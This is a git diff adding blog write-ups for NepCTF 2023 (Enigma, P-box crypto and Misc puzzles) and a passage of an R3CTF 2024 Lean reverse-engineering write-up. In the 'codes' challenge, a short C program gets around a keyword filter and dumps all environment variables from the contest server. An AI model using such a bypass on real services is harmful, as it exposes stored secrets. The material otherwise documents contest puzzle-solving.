13:35:00 +categories: +- CTF-Writeup +cover: ../../wp/nepctf-2023/efeeefb7-6801-48d2-8b65-4b4618195d99.webp +--- + +个人赛,排名:34 / 1048 + +除签到和问卷外共 37 题,解出 6 题。这次 Misc 解出人数很多,解出的 4 道 Misc 分数加起来还没有 1 道 Crypto 高。我的分数主要来源于 Crypto 题。 + + + +![](../../wp/nepctf-2023/13edcc16-3a53-4dfb-a884-78e921951cb7.webp) + +![](../../wp/nepctf-2023/607f72c5ee99b2ea327e26d6526f588.jpg) + +## Crypto + +### bombe-crib + +> 面对每天六点德军铺天盖地的天气预报,你突然想到了怎么确定关键信息的位置。 +> +> 14 人攻克 644 pts + +题目随机选取 rotor 、原文、插入特定字符串的位置 pos ,然后重复 20 次随机选取 key 和 plugin 并得到密文。求 pos 。 + +网上搜索 Enigma ,看到 CyberChef 的 wiki ,上面指出原文和密文同一位置上的字母不可能相同。 + + +![](../../wp/nepctf-2023/ad98efd8-dbc7-4cd4-93a9-cb44db0cc9b4.webp) + + +由于我们有 20 条密文,据此可以排除大部分 pos 。用一组数据测试,效果很好。 + + +![](../../wp/nepctf-2023/4ee50f9c-c0b8-4e66-8bdd-d3b2ee82ebaf.webp) + + +用 pwntools 交互,完整程序: + +```python +import string +import hashlib +from pwn import * + +def Pow(req,dig): + print(req) + print(dig) + for i1 in string.ascii_letters+string.digits: + for i2 in string.ascii_letters+string.digits: + for i3 in string.ascii_letters+string.digits: + for i4 in string.ascii_letters+string.digits: + if hashlib.sha256((i1+i2+i3+i4+req).encode()).hexdigest()==dig: + return i1+i2+i3+i4 + +s = remote('nepctf.1cepeak.cn','8888') +context.log_level = 'debug' + +powtask = s.recvline().decode() +powres = Pow(powtask[16:32],powtask[37:101]) +s.sendline(powres.encode()) + +crib = 'WETTERBERICHT' +for _ in range(10): + + s.recv() + + cipher = [] + for i in range(20): + cipher.append(s.recvline().decode().strip()) + + print(cipher) + s.recvline() + + valid = [i for i in range(41)] + for i in range(41): + for j in range(20): + if cipher[j][i] == 'W': + valid[i] = -1 + elif cipher[j][i] == 'E': + valid[i-1] = -1 if i-1>=0 else valid[i-1] + valid[i-4] = -1 if i-4>=0 else valid[i-4] + valid[i-7] = -1 if i-7>=0 else valid[i-7] + elif cipher[j][i] == 'T': + valid[i-2] = -1 if i-2>=0 else valid[i-2] + valid[i-3] = -1 if i-3>=0 else valid[i-3] + valid[i-12] = -1 if i-12>=0 else valid[i-12] + elif cipher[j][i] == 'R': + valid[i-5] = -1 if i-5>=0 else valid[i-5] + valid[i-8] = -1 if i-8>=0 else valid[i-8] + elif cipher[j][i] == 'B': + valid[i-6] = -1 if i-6>=0 else valid[i-6] + elif cipher[j][i] == 'I': + valid[i-9] = -1 if i-9>=0 else valid[i-9] + elif cipher[j][i] == 'C': + valid[i-10] = -1 if i-10>=0 else valid[i-10] + elif cipher[j][i] == 'H': + valid[i-11] = -1 if i-11>=0 else valid[i-11] + + for i in valid: + if i != -1: + s.sendline(str(i).encode()) + break + +s.interactive() +``` + + +![](../../wp/nepctf-2023/1982e769-3b01-419c-b9ad-d569729d6457.webp) + + +🚩 `NepCTF{52c8089b-d6fb-42df-9fa1-9019e99d9a61}` + +### recover + +> 小A发现一段纯P盒加密的密文,但等待他还原的其实是……? +> +> 9 人攻克 759 pts + +题目很妙。 + +凌晨两点以为做完了,结果发现只做了一半,当时就破防了。 + +注意到 flag 长度为 58 ,被填充成 64 字节,然后分成 8 组加密,各组互不影响。题目中指出 flag 格式为 `flag{纯小写字母}` ,则第一个分组明文为 `b"\0\0\0\0\0\0fl"` 。 + +又注意到 P 盒是 8 项一组,各组互不干扰,相当于 8 个 P 盒拼起来。这样,我们就可以对明文**每个字节单独加密**,减少爆破所需次数。 + +我们又有 flag 前缀一些字节的明文和密文,可以尝试找出与每个字节对应的 key 。从第一个字节( `'\0' -> 0b11101100` )和第九个字节( `'a' -> 0b11000100` )开始,这样会得到 `key[0:24:8]` : + +```python recover-key0.py + +P1= [[0, 2, 3, 4, 5, 6], + [1, 4], + [0, 3], + [0, 3, 4, 5], + [0, 1, 2, 3, 4, 7], + [2, 3, 4, 5, 6], + [0, 1, 2, 3], + [1, 2, 3, 4, 5, 7]] + +def enc(v, keys, le=8): + t = v + for i in keys: + q = [] + for j in P1: + tmp = 0 + for k in j: + tmp ^= t[k] + q.append(tmp) + t = [int(q[j]) ^ int(i[j]) for j in range(le)] + return t + +byte1 = [0] * 8 +byte9 = [0,1,1,0,0,0,0,1] + +cipher1 = [1,1,1,0,1,1,0,0] +cipher9 = [0,1,1,0,0,1,1,0] + +keys1 = [[0] * 8, [0] * 8, [0] * 8] +for i in range(2**24): + m = bin(i)[2:].zfill(24) + keys1[0] = [int(j) for j in m[:8]] + keys1[1] = [int(j) for j in m[8:16]] + keys1[2] = [int(j) for j in m[16:]] + res1 = enc(byte1,keys1,8) + res9 = enc(byte9,keys1,8) + if all([res1[x]==cipher1[x] for x in range(8)]) and all([res9[x]==cipher9[x] for x in range(8)]): + print(keys1) +``` + +得到的是 `[ key[0], key[8], key[16] ]` ,有很多种可能。特殊地,存在 `key[0] = key[8] = 0` 。 + + +![](../../wp/nepctf-2023/7a76c1be-1fee-4bb4-a86b-5f62bb7bc772.webp) + + +那么猜想存在一个可行的 `key` ,使得 `key[:16]=0` 。(大胆猜测,没有证明,~~猜对就赚了~~) + +尝试用 flag 的前 8 字节 `b"\0\0\0\0\0\0fl"` 算出这个 key : + +```python recover-key.py + +from Crypto.Util.number import * +from 题目 import P + +P = [[i%8 for i in j] for j in P] + +def enc(v, keys, le, Pcertain): + t = v + for i in keys: + q = [] + for j in Pcertain: + tmp = 0 + for k in j: + tmp ^= t[k] + q.append(tmp) + t = [int(q[j]) ^ int(i[j]) for j in range(le)] + return t + +msg0 = [int(i) for i in bin(bytes_to_long(b"\0\0\0\0\0\0fl"))[2:].zfill(64)] + +cipher = [int(i) for i in '1110110010000011010110010110000110011101110010011100000001011000'] + +keys = [] +for t in range(0,64,8): + key = [[0] * 8] * 3 + for i in range(2**8): + m = bin(i)[2:].zfill(8) + key[2] = [int(j) for j in m] + res = enc(msg0[t:t+8], key, 8, P[t:t+8]) + if all([res[x]==cipher[t:t+8][x] for x in range(8)]): + keys += key[2] + +print(keys) + +# [1, 1, 1, 0, 1, 1, 0, 0, 1, 0, 0, 0, 0, 0, 1, 1, 0, 1, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 0, 0, 0, 1, 1, 0, 0, 1, 1, 1, 0, 1, 1, 1, 0, 0, 1, 0, 0, 1, 1, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0] +``` + +以上得到的是 key 的后 8 字节;前 16 字节为 0 。尝试用这个 key 得到 flag : + +```python recover-msg.py + +from Crypto.Util.number import * +from 题目 import P + +P = [[i%8 for i in j] for j in P] + +def enc(v, keys, le, Pcertain): + t = v + for i in keys: + q = [] + for j in Pcertain: + tmp = 0 + for k in j: + tmp ^= t[k] + q.append(tmp) + t = [int(q[j]) ^ int(i[j]) for j in range(le)] + return t + +cipher = [int(i) for i in '11101100100000110101100101100001100111011100100111000000010110000110011011000100110101110111010000100100001100010011001100010100101000110001011101000000100010101000000110000110011110001101110110110111000000100010011011011011101011101000000000100010000101001110100101011000001110010000000000100110001101110011111010001100101101111010101111101110100110101010011010011010101110100001001101100110010000010000011100100101111010010000011001000110000100110111100010101011000100100111010000101010110110001010110101111111'] + +keys = [1, 1, 1, 0, 1, 1, 0, 0, 1, 0, 0, 0, 0, 0, 1, 1, 0, 1, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 0, 0, 0, 1, 1, 0, 0, 1, 1, 1, 0, 1, 1, 1, 0, 0, 1, 0, 0, 1, 1, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0] + +msg = 'fl' + +for t in range(8,64): + for c in range(32,127): + m = [int(i) for i in bin(c)[2:].zfill(8)] + res = enc(m, + [ [0] * 64, [0] * 64, keys[t%8*8:t%8*8+8] ], + 8, + P[t%8*8:t%8*8+8]) + if all([res[x]==cipher[t*8:t*8+8][x] for x in range(8)]): + msg += chr(c) + +print(msg) + +# flag{flag_is_the_readable_key_whose_md5_starts_with_3fe04} +``` + +能得到结果,但并不是最终的 flag 。我们现在有完整的明文和密文,还要求出一个特定的 key 。这个 key 结构如下: + + +![](../../wp/nepctf-2023/147b0e25-aeed-46aa-90cc-d3419fa38cd2.webp) + + +可以用上面用过的思路,枚举所有可能的 key 。(屎山代码,能跑就行) + +```python recover-ans.py + +from Crypto.Util.number import * +from hashlib import md5 +from tqdm import tqdm +from 题目 import P + +P = [[i%8 for i in j] for j in P] + +def enc(v, keys, le, Pcertain): + t = v + for i in keys: + q = [] + for j in Pcertain: + tmp = 0 + for k in j: + tmp ^= t[k] + q.append(tmp) + t = [int(q[j]) ^ int(i[j]) for j in range(le)] + return t + +msg = [int(i) for i in bin(bytes_to_long(b"\0\0\0\0\0\0flag{flag_is_the_readable_key_whose_md5_starts_with_3fe04}"))[2:].zfill(512)] + +cipher = [int(i) for i in '11101100100000110101100101100001100111011100100111000000010110000110011011000100110101110111010000100100001100010011001100010100101000110001011101000000100010101000000110000110011110001101110110110111000000100010011011011011101011101000000000100010000101001110100101011000001110010000000000100110001101110011111010001100101101111010101111101110100110101010011010011010101110100001001101100110010000010000011100100101111010010000011001000110000100110111100010101011000100100111010000101010110110001010110101111111'] + +def threecharkey(z): + + keys = [] + + key = [[0] * 8] * 3 + for i in range(0x61,0x61+26): + m = bin(i)[2:].zfill(8) + key[0] = [int(u) for u in m] + for j in range(0x61,0x61+26): + n = bin(j)[2:].zfill(8) + key[1] = [int(u) for u in n] + for k in range(0x61,0x61+26): + o = bin(k)[2:].zfill(8) + key[2] = [int(u) for u in o] + + if all(enc(msg[t:t+8], key, 8, P[t%64:t%64+8])==cipher[t:t+8] for t in range(z,512,64)): + keys.append(chr(i)+chr(j)+chr(k)) + + return keys + +def twocharkey(z,ch): + + keys = [] + + key = [[0] * 8] * 3 + i = ord(ch) + m = bin(i)[2:].zfill(8) + key[0] = [int(u) for u in m] + for j in range(0x61,0x61+26): + n = bin(j)[2:].zfill(8) + key[1] = [int(u) for u in n] + for k in range(0x61,0x61+26): + o = bin(k)[2:].zfill(8) + key[2] = [int(u) for u in o] + + if all(enc(msg[t:t+8], key, 8, P[t%64:t%64+8])==cipher[t:t+8] for t in range(z,512,64)): + keys.append(chr(i)+chr(j)+chr(k)) + + return keys + +def lastcharkey(z): + + keys = [] + + key = [[0] * 8] * 3 + for i in range(0x61,0x61+26): + m = bin(i)[2:].zfill(8) + key[0] = [int(u) for u in m] + for j in range(0x61,0x61+26): + n = bin(j)[2:].zfill(8) + key[1] = [int(u) for u in n] + k = ord('}') + o = bin(k)[2:].zfill(8) + key[2] = [int(u) for u in o] + + if all(enc(msg[t:t+8], key, 8, P[t%64:t%64+8])==cipher[t:t+8] for t in range(z,512,64)): + keys.append(chr(i)+chr(j)+chr(k)) + + return keys + +keysset = [twocharkey(0,'f'),twocharkey(8,'l'),twocharkey(16,'a'),twocharkey(24,'g'),twocharkey(32,'{'),threecharkey(40),threecharkey(48),lastcharkey(56)] + +with tqdm(total=3*3*4*5*3*77*70*4) as pbar: + for a in keysset[0]: + for b in keysset[1]: + for c in keysset[2]: + for d in keysset[3]: + for e in keysset[4]: + for f in keysset[5]: + for g in keysset[6]: + for h in keysset[7]: + keypossible = (a+b+c+d+e+f+g+h)[0:24:3]+(a+b+c+d+e+f+g+h)[1:24:3]+(a+b+c+d+e+f+g+h)[2:24:3] + pbar.update(1) + if md5(keypossible.encode()).hexdigest()[:5]=='3fe04': + print('\n'+keypossible) +``` + +爆破 30 秒内可以得到正确的 key: + + +![](../../wp/nepctf-2023/a900069d-5ac8-4531-b2f2-146b5eecf618.webp) + + +🚩 `flag{hardertorecoverkey}` + +## Misc + +### codes + +> 你很会写代码吗,你会写有什么用!出来混 讲的是皮 tips:flag格式为Nepctf{},flag存在环境变量 +> +> 207 人攻克 150 pts + +经尝试,如果源码中出现了 `sys` , `env` , `open` 等字样,就拒绝编译。 + +尝试半小时,必应一分钟。搜到的第一条就可以。 + + +![](../../wp/nepctf-2023/1369938a-4f46-4334-bc61-a7dbc5c5a309.webp) + + +```c +#include + +int main(int argc, char* argv[], char* e[]) { + int i; + for (i = 0; e[i] != NULL; i++) + printf("\n%s", e[i]); + return 0; +} +``` + + +![](../../wp/nepctf-2023/3557852e-3f85-4667-8a4c-0ba39261f96d.webp) + + +🚩 `Nepctf{easy_codes_8ce88810-49db-4260-b5e6-b163e84afbb2_[TEAM_HASH]}` + +### 小叮弹钢琴 + +> 小叮今天终于学会了弹钢琴,来看看他弹得怎么样吧 +> +> 190 人攻克 150 pts + +MIDI 文件,用 Audacity 打开。 + + +![](../../wp/nepctf-2023/4ac0f92d-a360-4269-ba78-0dab31eeb5a4.webp) + + +前半部分是摩斯电码,后半部分是用形状表示的十六进制数字。 + + +![](../../wp/nepctf-2023/b8ed91fe-2515-4429-81a0-49aabb9249fd.webp) + + +```plaintext +-.--/---/..-/.../..../---/..-/.-../-../..-/..././-/..../../.../-/---/-..-/---/.-./.../---/--/./-/..../../-./--. +youshouldusethistoxorsomething + +0x370a05303c290e045005031c2b1858473a5f052117032c39230f005d1e17 +``` + +要注意本题的摩斯电码必须全部解码为小写字母,如果是大写字母就得不到正确的 flag 。 + +```c +#include +int main() { + char strxor[] = "youshouldusethistoxorsomething"; + char strraw[] = "\x37\x0a\x05\x30\x3c\x29\x0e\x04\x50\x05\x03\x1c\x2b\x18\x58\x47\x3a\x5f\x05\x21\x17\x09\x2c\x39\x23\x0f\x00\x5d\x1e\x17"; + for(int i=0; i<30; i++) { + strraw[i] ^= strxor[i]; + } + printf(strraw); + return 0; +} +``` + + +![](../../wp/nepctf-2023/c9b7eea0-560c-4123-af2f-479c4f1afcd2.webp) + + +🚩 `NepCTF{h4ppy_p14N0}` + +### ConnectedFive + +> Let's play five in a row with something strange. +> +> Input Format : two lowercase letter +> +> Target: 42 x 5 in a row +> +> Time: 600 s +> +> 78 人攻克 184 pts + +人工队获胜,一血是手动玩出来的。 + +利用好连续六子的情况,这种情况会一次加 2 分。 + +好像电脑会帮我下几步棋?直到最后也没搞明白游戏规则。玩着玩着就赢 42 次了,就一血了。 + + +![](../../wp/nepctf-2023/a1b4b97a-4955-4b02-825a-a410491ffffc.webp) + + +🚩 `NepCTF{GomokuPlayingContinousIsFun_86c86ece4b7f}` + +### 与AI共舞的哈夫曼 + +> 年轻人就要年轻,正经人谁自己写代码啊~ +> +> 399 人攻克 150 pts + +打开二进制文件, + +Nepctf{human_zi6}…… + +2个p,3个f,2个_,3个6…… + +那当然是 + +🚩 `Nepctf{huffman_zip_666}` + +(应该是出题人故意的) + +> 哈夫曼编码是前缀编码的一种最优算法。贪心的过程是按出现频次从底层向顶层生成二叉树,出现频次低的字符被放在树的底层,编码更长。编码得到的二进制串能唯一地进行解码还原。 diff --git a/source/_posts/wp/r3ctf-2024-leannum.md b/source/_posts/wp/r3ctf-2024-leannum.md new file mode 100644 index 0000000..8018811 --- /dev/null +++ b/source/_posts/wp/r3ctf-2024-leannum.md @@ -0,0 +1,2592 @@ +--- +title: R3CTF 2024 Leannum 单题 Writeup +date: 2024/06/10 15:30:00 +updated: 2024/06/10 15:30:00 +categories: +- CTF-Writeup +cover: ../../wp/r3ctf-2024-leannum/ciallo.jpg +--- + +Ciallo~(∠・ω< )⌒★ + +# Reverse - leannum + +题目给的是 Lean 编程语言的编译产物和中间文件,Lean 是一种函数式编程语言。上次 AkiraHomework 没做出来,这次想做出来。 + +## 概览 + +比较有用的文件有 ir/Main.c 和 bin/leannum。 + +运行和动态调试用二进制文件,题目给的是 Nix 环境下的,Ubuntu/Kali 直接运行会提示没有那个文件或目录。墨水师傅教我的 patch: + +> patchelf --set-interpreter /lib64/ld-linux-x86-64.so.2 --set-rpath /nix/store/apab5i73dqa09wx0q27b6fbhd1r18ihl-glibc-2.39-31/lib leannum + +patch 完就可以运行和动态调试了。 + +二进制文件反编译后可以看到很多判断整数最低位的操作,属于 Lean 的数据结构,不好看。https://lean-lang.org/lean4/doc/dev/ffi.html + +读程序逻辑时看 C 文件,因为 Lean 库函数还没有展开和内联,能把注意力集中在用户代码。 + +包含的 lean.h 是开源的,在遇到光看函数名称看不懂的时候可以查阅:https://github.com/leanprover/lean4/blob/master/src/include/lean/lean.h + +先缩进一下,大概看看两千多行每个部分在干什么。前面的函数声明不用看,中间对函数装箱的函数没被调用也不用看。前面一半79个函数,接近9*9,是在构造挖空的目标数独矩阵,被最后的 initialize_Main 函数依次调用。_lean_main 函数从标准输入读字符串,调用 l_fromString 转化为数独矩阵(标志性的减48),然后调用 l_check 判断是否符合数独规则,最后输出结果。中间那些名字很长的函数,就是判断逻辑的片段。 + +数组、数组的数组、装箱等都是 lean_object。有非常多的 lean_inc 和 lean_dec 函数调用,都不用看,是在引用计数。 + +所以要看的就是 目标矩阵构造过程 和 简化判断逻辑。 + +断点打在 l_fromString 和 l_check,会发现输入连续 81 个范围在0..9(而不是1..=9)的阿拉伯数字,才能进入 l_check 函数。 + +## 目标矩阵构造过程 + +可执行文件反编译中,这个过程是内联的,但立即数是按 Lean 数据结构写的,是实际数乘2加1。直接看C也很好看。 + +lean_array_push 是一个**先copy后push**的过程,每次 push 都会得到一个新的对象,旧的对象也不会析构。第一个参数是一个数组,第二个参数(地址或立即数)直接作为一个数 push 进去。 + +全局变量 l_target 在 l_check 中被使用,l_target 就是 l_target___closed__79,回溯 l_target___closed__79 的 push 过程,开始是立即数 9,然后接 l_target___closed__12、21、27、38、42、46、55、62、70 共 9 个数组地址。回溯 l_target___closed__12 的 push 过程,开始是立即数 9,然后接立即数6、box(0)、立即数1、6个box(0)。以此类推,就得到了 9*9 二维数组。 + +```lua +a1 = 6 +a2 = 1 +a3 = 9 +a4 = a3, a1 +a5 = a4, {} +a6 = a5, a2 +a7 = a6, {} +a8 = a7, {} +a9 = a8, {} +a10 = a9, {} +a11 = a10, {} +a12 = a11, {} +a13 = a3, {} +a14 = a13, {} +a15 = a14, {} +a16 = a15, {} +a17 = a16, {} +a18 = a17, {} +a19 = a18, {} +a20 = a19, {} +a21 = a20, {} +a22 = 5 +a23 = a16, a22 +a24 = a23, {} +a25 = a24, {} +a26 = a25, {} +a27 = a26, {} +a28 = 4 +a29 = 2 +a30 = a3, a28 +a31 = a30, {} +a32 = a31, a22 +a33 = a32, {} +a34 = a33, a29 +a35 = a34, {} +a36 = a35, {} +a37 = a36, {} +a38 = a37, {} +a39 = 0 +a40 = a18, a39 +a41 = a40, a29 +a42 = a41, {} +a43 = 7 +a44 = a18, a43 +a45 = a44, {} +a46 = a45, a22 +a47 = 3 +a48 = a13, a47 +a49 = a48, {} +a50 = a49, {} +a51 = a50, {} +a52 = a51, {} +a53 = a52, a28 +a54 = a53, {} +a55 = a54, {} +a56 = a14, a43 +a57 = a56, a28 +a58 = a57, {} +a59 = a58, a2 +a60 = a59, {} +a61 = a60, {} +a62 = a61, {} +a63 = a13, a28 +a64 = a63, {} +a65 = a64, {} +a66 = a65, {} +a67 = a66, {} +a68 = a67, {} +a69 = a68, {} +a70 = a69, {} +a71 = a3, a12 +a72 = a71, a21 +a73 = a72, a27 +a74 = a73, a38 +a75 = a74, a42 +a76 = a75, a46 +a77 = a76, a55 +a78 = a77, a62 +a79 = a78, a70 +``` + +```python +[ 6, -1, 1, -1, -1, -1, -1, -1, -1], +[-1, -1, -1, -1, -1, -1, -1, -1, -1], +[-1, -1, -1, -1, 5, -1, -1, -1, -1], +[ 4, -1, 5, -1, 2, -1, -1, -1, -1], +[-1, -1, -1, -1, -1, -1, 0, 2, -1], +[-1, -1, -1, -1, -1, -1, 7, -1, 5], +[-1, 3, -1, -1, -1, -1, 4, -1, -1], +[-1, -1, 7, 4, -1, 1, -1, -1, -1], +[-1, 4, -1, -1, -1, -1, -1, -1, -1], +``` + +已定的格子非常少,可能除了横向、纵向外,还有别的必须满足的规则,还是要逆逻辑。 + +## 简化判断逻辑 + +由于编译中间语言的原因,一两条语句能说明白的东西拆分成了很多条语句。 + +### for 循环 + +以 init_l_target 之后第一个函数 l_Array_anyMUnsafe_any___at_check___spec__2 为例: + +![](../../wp/r3ctf-2024-leannum/Clip_2024-06-10_14-29-32.png) + +这个函数只被调用一次,传入的 x_3 是 0,x_4 是数组长度。所以可以简化为: + +```c +LEAN_EXPORT uint8_t l_Array_anyMUnsafe_any___at_check___spec__2(lean_object *x_1, lean_object *x_2, size_t x_3, size_t x_4) +{ + for (x_3 /* = 0 */; x_3 < x_4; x_3++) + { + if (x_2[x_3] == *x_1) + return 1; + } + return 0; +} +``` + +这个函数的作用是判断 x_1 是否存在于 x_2 数组。 + +以此类推,很多函数的 for 循环都变成了这样,可以化简或者看多几个就习惯了。至于是立即数还是装箱后的数,凭感觉判断就行。 + +### 数组按索引取值和赋值 + +```c +lean_array_uget(a, b) a[b] +lean_array_uset(a, b, c) a[b] = c +lean_array_get(T, a, b) (typeof(T))(a[b]) +``` + +以下面这个函数为例,它被调用 9 次,传入的 x_1 分别是 0 至 8。 + +```c +LEAN_EXPORT lean_object *l_Array_mapMUnsafe_map___at_check___spec__4(lean_object *x_1, size_t x_2, size_t x_3, lean_object *x_4) // in: idx(0..9), 9, 0, msg +{ +_start: +{ + while(x_3 < x_2) + { + lean_object *x_6; + lean_object *x_7; + lean_object *x_8; + lean_object *x_9; + lean_object *x_10; + lean_object *x_13; + x_6 = lean_array_uget(x_4, x_3); // 得到一行(这一行的地址) + x_7 = lean_unsigned_to_nat(0u); + x_8 = lean_array_uset(x_4, x_3, x_7); + x_9 = l_instInhabitedNat; + x_10 = lean_array_get(x_9, x_6, x_1); // 再从这一行得到一个数 + x_13 = lean_array_uset(x_8, x_3, x_10); // 用这一个数代替这一行 + x_3 ++; + x_4 = x_13; + } + return x_4; +} +} +``` + +这个函数的作用是从矩阵中获得某一列,好判断这一列是否包含了 0..9。 + +类似的,l_Array_mapMUnsafe_map___at_check___spec__7 是从矩阵中获得某一条主对角线,好判断这一条主对角线是否包含了 0..9。总共要判断 9 条主对角线。 + +到这里就可以猜出判定逻辑、求解了,不过再看看 l_check 的逻辑。 + +### l_check + +函数由好几个代码块组成,每个代码块要么返回,要么通过 goto 显式跳转到另一个代码块。控制流有很多判断条件,最后的目标是要返回 1。观察一下就可以发现,如果返回 1,那么必定是在 block_15 这个代码块返回的。有几个条件是已经知道正常情况下的值的,比如正常情况下矩阵长度大于 0 为真。一点一点地把正常情况不会执行的部分注释掉,剪枝一下,可以找到返回 1 的唯一控制流。 + +```c +LEAN_EXPORT uint8_t l_check(lean_object *x_1) +{ +_start: +{ + lean_object *x_2; + lean_object *x_3; + uint8_t x_4; + uint8_t x_5; + lean_object *x_6; + uint8_t x_7; + lean_object *x_8; + lean_object *x_9; + lean_object *x_10; + uint8_t x_11; + uint8_t x_12; + uint8_t x_16; + x_2 = lean_array_get_size(x_1); // 9 + x_3 = lean_unsigned_to_nat(0u); // 0 + x_4 = lean_nat_dec_lt(x_3, x_2); // true + x_5 = LR____horizontal_all_0_to_len_i_in_a_for_a_in_x_1____l_Nat_allTR_loop___at_check___spec__6(x_1, x_2, x_2, x_2); // sat requires x_5==true + x_6 = l_size; + x_7 = l_Nat_allTR_loop___at_check___spec__9(x_1, x_6, x_6); // sat requires x_7==true + x_8 = l_target; + x_9 = l_Array_zip___rarg(x_1, x_8); + x_10 = lean_array_get_size(x_9); + x_11 = lean_nat_dec_lt(x_3, x_10); // true + if (x_4 == 0) // should never + { + // if (x_11 == 0) + // { + // x_12 = 1; + // goto block_15_must_return_here; + // } + // else + // { + // x_16 = 1; + // goto block_34; + // } + } + else + { + size_t x_38; + uint8_t x_39; + x_38 = lean_usize_of_nat(x_2); + x_39 = LR____not_that_all_0_to_len_i_in_a_for_a_in_x_1____l_Array_anyMUnsafe_any___at_check___spec__12(x_1, 0, x_38); + if (x_39 == 0) // should always + { + if (x_11 == 0) // should never + { + // x_12 = 1; + // goto block_15_must_return_here; + } + else + { + x_16 = 1; + goto block_34; + } + } + else + { + // if (x_11 == 0) + // { + // return 0; + // } + // else + // { + // x_16 = 0; + // goto block_34; + // } + } + } +block_15_must_return_here: + { + if (x_5 == 0) + { + return 0; + } + else + { + if (x_7 == 0) + { + return 0; + } + else + { + return x_12; + } + } + } +block_34: + { + uint8_t x_17; + x_17 = lean_nat_dec_le(x_10, x_10); // true + if (x_17 == 0) + { + // if (x_11 == 0) + // { + // if (x_16 == 0) + // { + // return 0; + // } + // else + // { + // x_12 = 1; + // goto block_15_must_return_here; + // } + // } + // else + // { + // size_t x_21; + // uint8_t x_22; + // x_21 = lean_usize_of_nat(x_10); + // x_22 = l_Array_anyMUnsafe_any___at_check___spec__11(x_9, 0, x_21); + // if (x_22 == 0) + // { + // if (x_16 == 0) + // { + // return 0; + // } + // else + // { + // x_12 = 1; + // goto block_15_must_return_here; + // } + // } + // else + // { + // return 0; + // // if (x_16 == 0) + // // { + // // return 0; + // // } + // // else + // // { + // // x_12 = 0; + // // goto block_15_must_return_here; + // // } + // } + // } + } + else // should always + { + size_t x_28; + uint8_t x_29; + x_28 = lean_usize_of_nat(x_10); + x_29 = l_Array_anyMUnsafe_any___at_check___spec__11(x_9, 0, x_28); // sat requires x_29==false + if (x_29 == 0) + { + if (x_16 == 0) // should never + { + // return 0; + } + else + { + x_12 = 1; + goto block_15_must_return_here; + } + } + else + { + return 0; + // if (x_16 == 0) + // { + // return 0; + // } + // else + // { + // x_12 = 0; + // goto block_15_must_return_here; + // } + } + } + } +} +} +``` + +可以看到依次需要通过以下判断: + +```plain +输入81个0..9的阿拉伯数字 true == l_fromString() +每列都是0..9 true == l_Nat_allTR_loop___at_check___spec__6() +每条对角线都是0..9 true == l_Nat_allTR_loop___at_check___spec__9() +每行都是0..9 false == l_Array_anyMUnsafe_any___at_check___spec__12() +输入符合构造的挖空矩阵(猜的) false == l_Array_anyMUnsafe_any___at_check___spec__11() +``` + +### 我简化完的 C 伪代码 + +伪代码是给人看的,不能编译。 + +```c +// Lean compiler output +// Module: Main +// Imports: Init Init.Data.List +#include +#if defined(__clang__) +#pragma clang diagnostic ignored "-Wunused-parameter" +#pragma clang diagnostic ignored "-Wunused-label" +#elif defined(__GNUC__) && !defined(__CLANG__) +#pragma GCC diagnostic ignored "-Wunused-parameter" +#pragma GCC diagnostic ignored "-Wunused-label" +#pragma GCC diagnostic ignored "-Wunused-but-set-variable" +#endif +static lean_object *l_target___closed__60; +LEAN_EXPORT uint8_t l_Array_anyMUnsafe_any___at_fromString___spec__3(lean_object *, size_t, size_t); +static lean_object *l_target___closed__50; +static lean_object *l_target___closed__58; +LEAN_EXPORT uint8_t LR____arg2_in_arg1____l_Array_contains___at_check___spec__1(lean_object *, lean_object *); +static lean_object *l_target___closed__56; +static lean_object *l_target___closed__25; +static lean_object *l_target___closed__21; +lean_object *lean_mk_empty_array_with_capacity(lean_object *); +LEAN_EXPORT lean_object *_lean_main(lean_object *); +static lean_object *l_target___closed__71; +lean_object *lean_uint32_to_nat(uint32_t); +static lean_object *l_target___closed__22; +LEAN_EXPORT uint8_t LR____done____l_Array_anyMUnsafe_any___at_check___spec__2(lean_object *, lean_object *, size_t, size_t); +static lean_object *l_target___closed__61; +static lean_object *l_target___closed__4; +static lean_object *l_target___closed__37; +lean_object *lean_array_push(lean_object *, lean_object *); +static lean_object *l_target___closed__59; +LEAN_EXPORT lean_object *LR____horizontal____l_Array_mapMUnsafe_map___at_check___spec__4(lean_object *, size_t, size_t, lean_object *); +uint8_t lean_usize_dec_eq(size_t, size_t); +LEAN_EXPORT lean_object *l_fromString___lambda__1(lean_object *, lean_object *); +LEAN_EXPORT uint8_t l_Nat_allTR_loop___at_check___spec__9(lean_object *, lean_object *, lean_object *); +static lean_object *l_target___closed__75; +LEAN_EXPORT lean_object *l_Array_mapMUnsafe_map___at_check___spec__7(lean_object *, lean_object *, size_t, size_t, lean_object *); +static lean_object *l_target___closed__73; +static lean_object *l_target___closed__63; +static lean_object *l_target___closed__76; +LEAN_EXPORT lean_object *l_Array_mapMUnsafe_map___at_fromString___spec__2___boxed(lean_object *, lean_object *, lean_object *, lean_object *); +static lean_object *l_target___closed__13; +LEAN_EXPORT lean_object *l_Nat_allTR_loop___at_check___spec__9___boxed(lean_object *, lean_object *, lean_object *); +static lean_object *l_target___closed__66; +static lean_object *l_target___closed__57; +extern lean_object *l_instInhabitedNat; +LEAN_EXPORT uint8_t l_check(lean_object *); +static lean_object *l_target___closed__51; +static lean_object *l_target___closed__17; +LEAN_EXPORT lean_object *LR____all_0_to_len_i_in_x_1____l_Nat_allTR_loop___at_check___spec__5___boxed(lean_object *, lean_object *, lean_object *); +static lean_object *l_target___closed__10; +LEAN_EXPORT lean_object *l_Array_mapMUnsafe_map___at_fromString___spec__2(lean_object *, size_t, size_t, lean_object *); +lean_object *l_IO_println___at_Lean_instEval___spec__1(lean_object *, lean_object *); +size_t lean_usize_of_nat(lean_object *); +static lean_object *l_target___closed__12; +static lean_object *l_target___closed__49; +static lean_object *l_target___closed__38; +lean_object *lean_string_data(lean_object *); +static lean_object *l_target___closed__41; +static lean_object *l_target___closed__65; +LEAN_EXPORT lean_object *l_target; +uint8_t lean_nat_dec_eq(lean_object *, lean_object *); +static lean_object *l_target___closed__74; +static lean_object *l_target___closed__52; +lean_object *l_Array_zip___rarg(lean_object *, lean_object *); +static lean_object *l_target___closed__78; +static lean_object *l_target___closed__19; +static lean_object *l_target___closed__3; +static lean_object *l_target___closed__28; +static lean_object *l_target___closed__35; +LEAN_EXPORT lean_object 